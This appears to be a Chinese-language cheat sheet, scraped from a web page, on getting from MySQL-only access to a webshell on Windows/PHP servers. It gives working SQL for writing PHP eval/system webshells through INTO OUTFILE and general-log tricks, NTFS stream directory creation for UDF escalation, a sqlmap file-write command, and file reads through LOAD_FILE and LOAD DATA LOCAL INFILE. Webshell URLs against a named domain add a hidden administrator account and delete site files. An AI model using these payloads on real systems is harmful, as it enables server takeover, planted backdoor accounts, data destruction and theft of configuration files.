赞
踩
如果没有shell,只有数据库权限的情况下:
1. udf 提权提示没有目录:使用数据流创建目录
- 1. select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\::$INDEX_ALLOCATION';
-
- 2. select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\::$INDEX_ALLOCATION';
2. 日志写shell
- show variables like '%general%'; 查看日志状态
- SET GLOBAL general_log='on' 开启日志读写
- SET GLOBAL general_log_file='C:/phpStudy/WWW/x.php'; 指定需要写入日志路径
- SELECT '<?php eval($_POST["cmd"]);?>' 写日志进x.php
3. mysql直接写shell
- 1. select '<?php phpinfo();?>' into outfile 'D:/UPUPW_AP7.2_64/htdocs/infoshell.php'
-
- 2. select "<?if($_GET['cmd']) { system($_GET['cmd']); }?>" into outfile 'D:/UPUPW_AP7.2_64/htdocs/info2.php'
-
-
-
- lines terminated by 写入:
- select into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
- //lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
-
-
- lines starting by 写入:
- select into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
- //利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。
-
- fields terminated by 写入:
- select into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
- //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
-
-
- columns terminated by 写入:
- select into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
- //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
-
- sqlmap写入:
- 写:(要写的文件,必须在kali本机里有)写入到 /tmp 目录下 sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=af999 --file-write="shell.php" --file-dest="/tmp/shell.php"

-
- https://sys.baidu.com/info2.php?cmd=net+user+jiance+jiance@123+/add
-
- https://sys.baidu.com/info2.php?cmd=net+localgroup+administrators+jiance+/add
-
- https://sysbaidu.com/info2.php?cmd=del+D:\UPUPW_AP7.2_64\htdocs\*.php
4. mysql读文件
1. SELECT LOAD_FILE('D:\UPUPW_AP7.2_64\Apache2\conf\httpd-vhosts.conf');
- mysql低权限读文件:
-
- 1. CREATE TABLE `bbs` (`bbs1` TEXT NOT NULL ); # 创建表:
- 2. load data local infile '//home//opendb.php' into table `bbs`; #越权限读文件
- 3. LOAD DATA LOCAL INFILE '/home/opendb.php' into table bbs fields terminated by '' LINES TERMINATED BY '\0'; # 我读出来是这样的 <? ?> 读别的也是 include的部分就没读取了怀疑是转义了
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。